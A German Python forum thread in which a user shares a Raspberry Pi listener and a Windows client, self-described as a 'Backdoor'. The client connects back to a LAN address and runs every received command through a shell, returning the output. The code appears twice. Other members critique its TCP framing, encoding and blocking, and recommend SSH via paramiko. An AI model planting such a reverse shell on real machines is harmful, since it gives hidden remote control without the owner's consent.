Befehle über sockets

Sockets, TCP/IP, (XML-)RPC und ähnliche Themen gehören in dieses Forum
Antworten
Fire Spike
User
Beiträge: 329
Registriert: Montag 13. Mai 2019, 16:05
Wohnort: Erde

Hallo habe mir zwei programme geschrieben, sender und empfänger.
der sender ist mein raspberry pi, der empfänger ein windows 10.
Es funktioniert alles gut, aber wenn ich "start firefox" oder MSG * Hallo sende bleibt der empfänger einfach stehen wie kann ich ein fenster öffnen dass der empfänger einfach weiterläuft?
ich las schon hunderte webseiten aber fand keine lösung.
ich hoffe ihr könnt mir helfen.
lg Fire Spike

sender:

Code: Alles auswählen

import socket
import sys

host = ''
port = 5756

mainloop = True

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(3)
connection, addr = s.accept()
print("Verbindung mit " + addr[0])
data = connection.recv(2048).decode()
print(data)

while mainloop == True:
    cmd = input("Befehl: ")
    connection.send(cmd.encode())
    data = connection.recv(2048).decode("cp850")
    if data == "qt_abbrechen":
        print("Verbindung getrennt")
        mainloop = False
                
    else:
        print(data)
        
connection.close()


empfänger:

Code: Alles auswählen

import socket
import subprocess
import sys

host = '192.168.178.45'
port = 5756
abbrechen = "qt_abbrechen"

send_ok = "Backdoor läuft."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(send_ok.encode())
while True:
    data = s.recv(2048).decode()
    if data == "quit":
        s.send(abbrechen.encode("cp850"))
        sys.exit()
    else:
        proc = subprocess.Popen(data,
                                shell=True,
                                stdout=subprocess.PIPE,
                                stdin=subprocess.PIPE,
                                stderr=subprocess.PIPE)
        
        stdout = proc.stdout.read()
        stderr = proc.stderr.read()
        s.send(stdout + stderr)
Sirius3
User
Beiträge: 17749
Registriert: Sonntag 21. Oktober 2012, 17:20

Wie bei 99.9999% der Beispiele die Du im Netz findest, ist auch dieser Socket-Code kaputt.
TCP ist ein Stream, das bedeutet, es ist ein Fluß an Bytes, und jedes recv kann 1 bis 2048 Bytes liefern, also in Deinem Beispiel ein "q" oder "qu" oder "qui", etc. oder aber auch ein "start firefoxquit". Für ein sinnvolles Protokoll brauchst Du eine Kennung, wann eine Nachricht komplett ist. Bei Deinem einfachen Fall würde sich das Zeileendezeichen anbieten.
Beim Senden der Rückgabe der Programme kann alles mögliche kommen, da ist dann ein etwas komplizierteres Protokoll nötig.
Ebenso kann `send` ein bis alle Bytes senden, garantiert aber nur, das mindestens ein Byte gesendet wird. Der Rest kann verloren gehen, ohne dass Du es merkst.

Warum wird die erste "Nachricht" mit dem Standardencoding gesendet bzw. Empfangen (was bei den bei Dir beteiligten Systemen nicht das selbe ist), die restlichen aber mit dem exotischen cp850?

Der Aufruf des externen Programms ist dann auch noch kaputt, weil es blockiert, sobald der stderr-Puffer voll ist, oder irgendeine Eingabe erwartet wird.

Also erster Schritt wäre, zu lernen, wie man ein ordentliches TCP-Protokoll schreibt. Gute Tutorials habe ich dazu noch nicht gefunden, aber es hilft, sich bekannte Protokolle anzuschauen, um zu sehen, wie die das lösen. Nicht gut, aber lehrreich sind z.B. SMTP, FTP, HTTP, etc.

Wenn Du dann noch asynchron das Ergebnis verschiedener Programm zurückliefern willst, wird das zu verwendende Protokoll noch eine Stufe komplizierter.

Falls Du nur ein funktionierendes System suchst, warum nutzt Du nicht ein fertiges Messaging-System?
Fire Spike
User
Beiträge: 329
Registriert: Montag 13. Mai 2019, 16:05
Wohnort: Erde

Code: Alles auswählen

Warum wird die erste "Nachricht" mit dem Standardencoding gesendet bzw. Empfangen (was bei den bei Dir beteiligten Systemen nicht das selbe ist), die restlichen aber mit dem exotischen cp850?
Das mache ich weil die windows beehlszeile diese kodierung hat.
Benutzeravatar
__blackjack__
User
Beiträge: 13103
Registriert: Samstag 2. Juni 2018, 10:21
Wohnort: 127.0.0.1
Kontaktdaten:

@Fire Spike: Das ist keine sinnvolle Begründung. Was das eine System als Kodierung in einer Konsole verwendet hat nichts damit zu tun als was das für die Übertragung zwischen den Systemen kodiert wird. Da sollte man etwas nehmen was alles kodieren kann, beispielsweise UTF-8.
„All religions are the same: religion is basically guilt, with different holidays.” — Cathy Ladman
Fire Spike
User
Beiträge: 329
Registriert: Montag 13. Mai 2019, 16:05
Wohnort: Erde

Das kodieren und die überprüfung ob der text vollständig ist habe ich geschafft :D , aber gibt es eine lösung ein programm zu öffenen das das script weiterläuft? :?:
Sirius3
User
Beiträge: 17749
Registriert: Sonntag 21. Oktober 2012, 17:20

Fire Spike hat geschrieben: Montag 29. Juli 2019, 12:12 Das kodieren und die überprüfung ob der text vollständig ist habe ich geschafft :D
Das bezweifle ich mal. Sich in so ein komplexes Thema innerhalb von drei Stunden einzuarbeiten und eine Lösung zu implementieren ist sehr sportlich.

Dann ist aber ja der Rest auch kein Problem für Dich:
1. definiere ein asynchrones Protokoll.
2. lagere den Aufruf der externen Prozesse in einen Thread aus.
3. schreibe einen Eventloop, der gleichzeitig auf neue Befehle als auch auf Ausgaben der Prozess-Threads horcht und bei Ereignissen entsprechend reagiert.

4. Scheibe den Client auch so um, dass er damit umgehen kann.
Benutzeravatar
__blackjack__
User
Beiträge: 13103
Registriert: Samstag 2. Juni 2018, 10:21
Wohnort: 127.0.0.1
Kontaktdaten:

Alternativ zu Threads könnte man sich auch ``async``/``await`` und `asyncio` aus der Standardbibliothek oder `curio` anschauen.
„All religions are the same: religion is basically guilt, with different holidays.” — Cathy Ladman
Fire Spike
User
Beiträge: 329
Registriert: Montag 13. Mai 2019, 16:05
Wohnort: Erde

das ist der code da ihr ja so unsicher seit :(

sender:

Code: Alles auswählen

import socket
import sys

host = ''
port = 5756

mainloop = True

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(3)
connection, addr = s.accept()
print("Verbindung mit " + addr[0])
data = connection.recv(2048).decode()
print(data)

while mainloop == True:
    cmd = input("Befehl: ")
    connection.send(cmd.encode())
    data = connection.recv(2048).decode('cp850').encode().decode()
    if data == "qt_abbrechen":
        print("Verbindung getrennt")
        mainloop = False
                
    else:
        print(data)
        
connection.close()
empfänger:

Code: Alles auswählen

import socket
import subprocess
import sys

host = '192.168.178.45'
name = socket.gethostname()
port = 5756
abbrechen = "qt_abbrechen"

send_ok = "Gerätename ist " + name + ".\nBackdoor läuft."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(send_ok.encode())
while True:
    data = s.recv(2048).decode()
    if data == "quit":
        s.send(abbrechen.encode())
        sys.exit()
    else:
        proc = subprocess.Popen(data,
                                shell=True,
                                stdout=subprocess.PIPE,
                                stdin=subprocess.PIPE,
                                stderr=subprocess.PIPE)
        
        stdout = proc.stdout.read()
        stderr = proc.stderr.read()
        s.send(stdout + stderr + str("\nNachricht ist vollständig").encode("cp850"))
Sirius3
User
Beiträge: 17749
Registriert: Sonntag 21. Oktober 2012, 17:20

Ich sehe an dem neuen Code jetzt nichts, was die Probleme, die ich genannt habe, irgendwie behebt.
Das Encoding-Chaos ist sogar noch ein bißchen größer geworden.
Was ist der Sinn, erst etwas zu decodieren um es dann wieder zu encodieren, und danach wieder zu decodieren?
Fire Spike
User
Beiträge: 329
Registriert: Montag 13. Mai 2019, 16:05
Wohnort: Erde

Sag mir doch wie ich es besser machen kann.
Benutzeravatar
__blackjack__
User
Beiträge: 13103
Registriert: Samstag 2. Juni 2018, 10:21
Wohnort: 127.0.0.1
Kontaktdaten:

@Fire Spike: Das ist nichts was mal eben so einfach geht. Besser machen wäre keine Socketprogrammierung selbst machen. Mit `paramiko` kann man beispielsweise eine SSH-Verbindung erstellen. Das dürfte einfacher und auch sicherer sein, als sich da auf unterster Ebene selbst etwas zu basteln. Da hast Du nämlich die fummelige Socketprogrammierung und dann noch nebenläufige Programmierung am Hals.
„All religions are the same: religion is basically guilt, with different holidays.” — Cathy Ladman
Fire Spike
User
Beiträge: 329
Registriert: Montag 13. Mai 2019, 16:05
Wohnort: Erde

Blackjack könntest du mir erklären wie ich den text kodieren kann?
Ich möchte ihn als utf8 empfangen.
__deets__
User
Beiträge: 14539
Registriert: Mittwoch 14. Oktober 2015, 14:29

Du schreibst doch encode('cp850'). Dann schreib eben .encode('utf-8').
Antworten